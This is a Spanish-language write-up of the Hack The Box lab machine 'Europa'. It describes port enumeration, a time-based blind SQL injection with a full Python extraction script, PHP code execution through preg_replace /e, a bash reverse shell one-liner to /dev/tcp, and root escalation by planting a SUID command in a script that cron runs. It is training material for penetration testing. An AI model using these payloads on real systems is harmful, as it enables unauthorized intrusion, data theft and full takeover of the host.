Europa Writeup

Enumeración

Realicé un escaneo de puertos con nmap:

nmap -p- --open -vvv -n -Pn -sS -sV --min-rate 5000 10.129.6.16 -oG portScan

Obtuve el siguiente resultado:

# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.129.6.16 ()	Status: Up
Host: 10.129.6.16 ()	Ports: 22/open/tcp//ssh//OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)/, 80/open/tcp//http//Apache httpd 2.4.18 ((Ubuntu))/, 443/open/tcp//ssl|http//Apache httpd 2.4.18 ((Ubuntu))/	Ignored State: filtered (65532)

Tras una breve investigación sobre la versión de OpenSSH detectada en la máquina víctima, se identificó que está ejecutando Ubuntu Xenial. Además, dado que la versión de OpenSSH es anterior a la 7.7, es posible llevar a cabo una enumeración de usuarios del sistema.

Al acceder a la página web en el puerto 80, se muestra el siguiente mensaje del servicio Apache, donde está alojado el sitio web:

Clicker-usernamePlayers


Sin embargo, accediendo mediante el puerto 443, que aloja el servicio HTTPS, es posible inspeccionar el certificado SSL del sitio web. En este, se revela información relevante, como un correo electrónico y un subdominio asociado al mismo servicio web.

Clicker-usernamePlayers


Dentro del dominio admin-portal.europacorp.htb, se encuentra el recurso login.php, que presenta un panel de inicio de sesión.

Clicker-usernamePlayers


Al realizar una búsqueda de recursos en el subdominio admin-portal.europacorp.htb, obtuve los siguientes resultados. Estos sugieren que detrás del panel de inicio de sesión existe un sistema de administración que requiere un correo electrónico y una contraseña. Por lo tanto, podría intentarse un inicio de sesión utilizando el correo encontrado en el certificado SSL.

/.php                 (Status: 403) [Size: 307]
/index.php            (Status: 302) [Size: 0] [--> https://admin-portal.europacorp.htb/login.php]
/.html                (Status: 403) [Size: 308]
/login.php            (Status: 200) [Size: 3968]
/tools.php            (Status: 302) [Size: 0] [--> https://admin-portal.europacorp.htb/login.php]
/data                 (Status: 301) [Size: 343] [--> https://admin-portal.europacorp.htb/data/]
/db.php               (Status: 200) [Size: 0]
/js                   (Status: 301) [Size: 341] [--> https://admin-portal.europacorp.htb/js/]
/logout.php           (Status: 302) [Size: 0] [--> https://admin-portal.europacorp.htb/login.php]
/vendor               (Status: 301) [Size: 345] [--> https://admin-portal.europacorp.htb/vendor/]
/dist                 (Status: 301) [Size: 343] [--> https://admin-portal.europacorp.htb/dist/]
/logs                 (Status: 301) [Size: 343] [--> https://admin-portal.europacorp.htb/logs/]
/dashboard.php        (Status: 302) [Size: 0] [--> https://admin-portal.europacorp.htb/login.php]

Intenté realizar autenticaciones con contraseñas comunes, pero no obtuve éxito. Sin embargo, al probar inyecciones SQL (SQLi), descubrí que era posible evadir el inicio de sesión y extraer información de la base de datos.

Clicker-usernamePlayers


Al analizar la consulta SQL del inicio de sesión, se observó que esta opera sobre cinco columnas en la base de datos.

Clicker-usernamePlayers


Con esta información, es posible extraer datos utilizando la cláusula UNION SELECT y realizar consultas encadenadas (Stacked Queries).

Al enviar una consulta errónea con el objetivo de enumerar las bases de datos disponibles, el sistema genera un mensaje de error. Inicialmente, podría parecer que la base de datos está filtrando información sensible, pero en realidad, el mensaje de error simplemente muestra el texto ingresado en el campo de contraseña codificado en MD5.

Clicker-usernamePlayers


Clicker-usernamePlayers


Intentando realizar una consulta como database(), no se obtiene respuesta en pantalla, lo que indica que estamos ante una inyección SQL ciega (Blind SQL Injection). En este caso, se pueden emplear consultas basadas en tiempo para extraer información caracter por caracter.

AND IF(ASCII(SUBSTR(database(),1,1))=97,SLEEP(5),1)-- -

Explicación de la consulta:

  • ASCII(): Convierte un carácter en su valor ASCII.
  • SUBSTR(): Extrae una subcadena de una cadena dada. Toma tres argumentos: la cadena de entrada, la posición inicial y el número de caracteres a extraer.
  • database(): Retorna el nombre de la base de datos activa.

SLQi Blind Inyection Script

import urllib3, sys, time, signal, string

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

https = urllib3.PoolManager(cert_reqs='CERT_NONE')

target_url = "https://admin-portal.europacorp.htb/login.php"
template_payload = "email=admin%40europacorp.htb' and if(ascii(substr(database(),{position},1))={ascii_code},sleep(5),1)-- -&password=asdfasd"

ascii_alphabetic = [ord(char) for char in string.ascii_letters]

def def_handler(sig, frame):
	print("\n\n[!] Saliendo....\n")
	sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def sqliBlind(position):
	for ascii_code in ascii_alphabetic:
	
		payload = template_payload.format(position=position, ascii_code=ascii_code)
		startTime = time.time()
		response = https.request("POST", url=target_url, redirect=False, body=payload, headers={"Content-Type" : "application/x-www-form-urlencoded"})
		elapsedTime = time.time() - startTime
		
		if elapsedTime >= 5:
			return chr(ascii_code)
			
	return None

def buildName():
	data = ""
	position = 1

	while True:
		character = sqliBlind(position)
		if character is None:
			break

		data+=character
		position+=1

	return data

if __name__ == '__main__':
	print("\n[+] Iniciando Enumeracion de la base de datos.....\n")
	data = buildName()
	print(f"[+] El nombre de la base de datos es: {data}\n")
	
# PD: Don`t be a pussy and do it manually

Enumeración de Tablas en la Base de Datos

Después de obtener el nombre de la base de datos, podemos listar los nombres de las tablas en dicha base empleando la siguiente consulta SQLi ciega:

e-mail=admin%40europacorp.htb' and if(ascii(substr((select table_name from information_schema.tables where table_schema=%27admin%27 limit 1 offset 0),2,1))=115,sleep(5),1)-- -&password=dfsafd

Si la consulta tarda mas de 5 segundos, confirma que el caracter que al que apunta la consulta es correcto y confirmaria la existencia de una tabla que lleva dicho caracter como nombre en cierta posicion.


Análisis del Panel de Administración

Dentro del panel de administración (dashboard.php) encontramos una interfaz con poca interactividad:

Clicker-usernamePlayers


Sin embargo, en la sección tools.php hallamos un pequeño script con un formato similar a JSON:

Clicker-usernamePlayers


Este apartado permite ingresar una dirección IP que es insertada en el script como reemplazo de la variable ip_address.

Clicker-usernamePlayers


Un análisis con Burp Suite revela que la petición no está formateada como JSON, sino como URL ENCODE.

Clicker-usernamePlayers


Para visualizar mejor la petición, podemos seleccionarla en Burp Suite y presionar Ctrl+Shift+U.


Posible Ejecución de Código en el Servidor

Analizando la estructura de la petición, encontramos indicios de que se usa una expresión regular que permite la manipulación de datos.

Clicker-usernamePlayers


Dado que el sitio utiliza PHP en el backend, investigué los posibles riesgos asociados con el uso de expresiones regulares en este lenguaje. Durante la búsqueda, encontré que la función preg_replace(), cuando se usa con el modificador /e, puede permitir la ejecución de código PHP en versiones anteriores a PHP 7.0.

Fuentes de referencia:

Podemos comprobar si el backend es vulnerable ejecutando:

pattern=/ggchat/e&ipaddress=exec(sleep(5))&text="ggchat"

Si la respuesta tarda entre 5 y 6 segundos, confirmamos que nuestro código PHP se está ejecutando y que el comando en exec() se está procesando.


Confirmación de la Versión de PHP y Enumeración de Funciones Deshabilitadas

Para validar la versión de PHP en el servidor, podemos usar:

phpinfo();

Si el backend ejecuta una versión antigua de PHP (anterior a 7.0), se confirma la presencia del modificador /e en preg_replace().

Clicker-usernamePlayers


Además, podemos listar las funciones deshabilitadas (disabled functions) y comprobar si file_get_contents() está activa. En caso positivo, podremos leer archivos accesibles por el usuario del servidor (usualmente www-data), o emplear la función system() para ejecutar comandos arbitrarios.


Explotación

Con la capacidad de poder leer contenido, comencé primero por enumerar la cantidad de usuarios con la que cuenta el sistema.

Clicker-usernamePlayers

Obtener la llave RSA

Ya que se identificó un usuario llamado john, intenté obtener su llave RSA para realizar login. Sin embargo, tras buscar en el directorio /home/john/.ssh, no se encontró ninguna clave privada.

ls /home/john/.ssh

Shell oneliner de Bash

Dado que no contamos con una llave RSA para realizar login, es posible establecer una reverse shell utilizando un oneliner basico de Bash:

bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'

Escalada

Al acceder a la máquina víctima como el usuario www-data, lo primero que hice fue enumerar el archivo db.php, donde encontré una contraseña para acceder a la base de datos. Intenté iniciar sesión con el usuario john utilizando esa contraseña, pero no funcionó, lo que indicaba que no era su contraseña de acceso.

Clicker-usernamePlayers


Pero con la cual si podria realizar login en la base de datos donde encontré lo que parecía ser el hash de la contraseña del usuario john.

Clicker-usernamePlayers


Procedí a crackear la contraseña utilizando la herramienta John the Ripper.

Clicker-usernamePlayers


Sin embargo, tras varios intentos de iniciar sesión con el usuario john, seguía sin ser posible.

Clicker-usernamePlayers


Durante el proceso de enumeración, encontré una tarea cron que es ejecutada por el usuario root.

Clicker-usernamePlayers


Al analizarla, descubrí que esta tarea ejecuta el siguiente script:

Clicker-usernamePlayers


En el script, la variable $file almacena la ruta del fichero access.log, el cual registra todas las peticiones realizadas al servidor. Luego, el script elimina el contenido de este archivo y lo sobrescribe, dejándolo vacío. Finalmente, en su última línea, ejecuta un script de bash llamado logcleared.sh. Si logramos modificar este archivo, podríamos inyectar código malicioso para escalar privilegios.

Tras navegar hasta la ruta /var/www/cmd, noté que el archivo logcleared.sh no existía. Sin embargo, el directorio cmd tenía permisos de escritura, lo que permitía crear el archivo logcleared.sh y conseguir ejecución código malicioso. Como este script es ejecutado por root, cualquier comando dentro de él se ejecutará con privilegios elevados.

Inserté el siguiente código en el archivo:

chmod u+s /bin/bash

Después, verifiqué que el binario bash tuviera el SUID de root y ejecuté el siguiente comando para obtener una shell con privilegios elevados:

bash -p
Clicker-usernamePlayers